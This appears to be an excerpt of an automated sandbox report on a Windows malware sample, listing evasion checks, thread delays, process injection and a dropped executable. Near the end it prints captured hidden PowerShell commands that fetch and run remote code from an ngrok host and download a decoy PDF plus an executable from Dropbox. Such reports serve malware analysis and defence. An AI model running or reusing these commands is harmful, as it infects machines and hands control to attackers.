Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	API/Special instruction interceptor: Address: 7FFE2220D044
Source: C:\Windows\SysWOW64\fontdrvhost.exe	API/Special instruction interceptor: Address: 7FFE2220D044
Source: C:\Windows\SysWOW64\fontdrvhost.exe	API/Special instruction interceptor: Address: 56EB83A

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: fontdrvhost.exe, 0000001F.00000002.2438737750.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: fontdrvhost.exe, 0000001F.00000002.2438737750.00000000038F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OCEXP64.EXETCPVIEW.EXETCPVIEW64.EXEPROCMON.EXE33G
Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2352954661.00000000010B9000.00000040.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2352317981.0000000000AFF000.00000040.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2319264099.0000000000109000.00000040.00000400.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2313054107.0000000000109000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2352954661.00000000010B9000.00000040.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2352317981.0000000000AFF000.00000040.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2319264099.0000000000109000.00000040.00000400.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2313054107.0000000000109000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 593400
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 593230
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 593033
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592472
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592338
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592228
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592119
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592002

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4200	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5634	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7286
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2386

Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe

Dropped PE file which has not been started: C:\Users\user\Documents\PerfectEnuina\sdk\EnuinaPerfecto.exe

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7604	Thread sleep count: 4200 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7604	Thread sleep count: 5634 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7696	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7716	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8052	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4280	Thread sleep count: 7286 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4280	Thread sleep count: 2386 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8508	Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8684	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8508	Thread sleep time: -593400s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8508	Thread sleep time: -593230s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8508	Thread sleep time: -593033s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8508	Thread sleep time: -592472s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8508	Thread sleep time: -592338s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8508	Thread sleep time: -592228s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8508	Thread sleep time: -592119s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8508	Thread sleep time: -592002s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 593400
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 593230
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 593033
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592472
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592338
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592228
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592119
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592002

Source: powershell.exe, 00000002.00000002.1993170455.000001B0E4588000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tEventVmNetworkAdapter',
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E4588000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Remove-NetEventVmNetworkAdapter',
Source: fontdrvhost.exe, 0000001F.00000002.2438151703.00000000031C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC927C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E4588000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.cdxml',
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E4588000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC927C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E4588000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000002.00000002.2075499088.000001B0FAD50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll2
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E4588000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: +MSFT_NetEventVmNetworkAdatper.format.ps1xmlX
Source: fontdrvhost.exe, 0000001F.00000003.2323210584.0000000005570000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E4588000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapterX
Source: svchost.exe, 00000005.00000002.2990778226.0000028979A54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2988328100.000002897422B000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000002.2438151703.00000000031C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E4588000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: #MSFT_NetEventVmNetworkAdatper.cdxmlX
Source: fontdrvhost.exe, 0000001F.00000003.2323210584.0000000005570000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E4588000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Add-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E4588000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Get-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC927C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: fontdrvhost.exe, 0000001F.00000002.2438151703.00000000031C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E4588000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.format.ps1xml',
Source: msedge.exe, 00000004.00000002.1938035798.000001DBFE843000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2249353306.0000022EE10BC000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2108352118.000001BA58846000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe

Code function: 30_3_000F91B0 LdrInitializeThunk,VirtualFree,

30_3_000F91B0

Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe	Code function: 30_3_000F9277 mov eax, dword ptr fs:[00000030h]		30_3_000F9277
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 31_3_02DE0283 mov eax, dword ptr fs:[00000030h]		31_3_02DE0283

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe

Process created: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe "C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe"

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe

Memory written: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe base: C0000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\280339642.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e'; }"
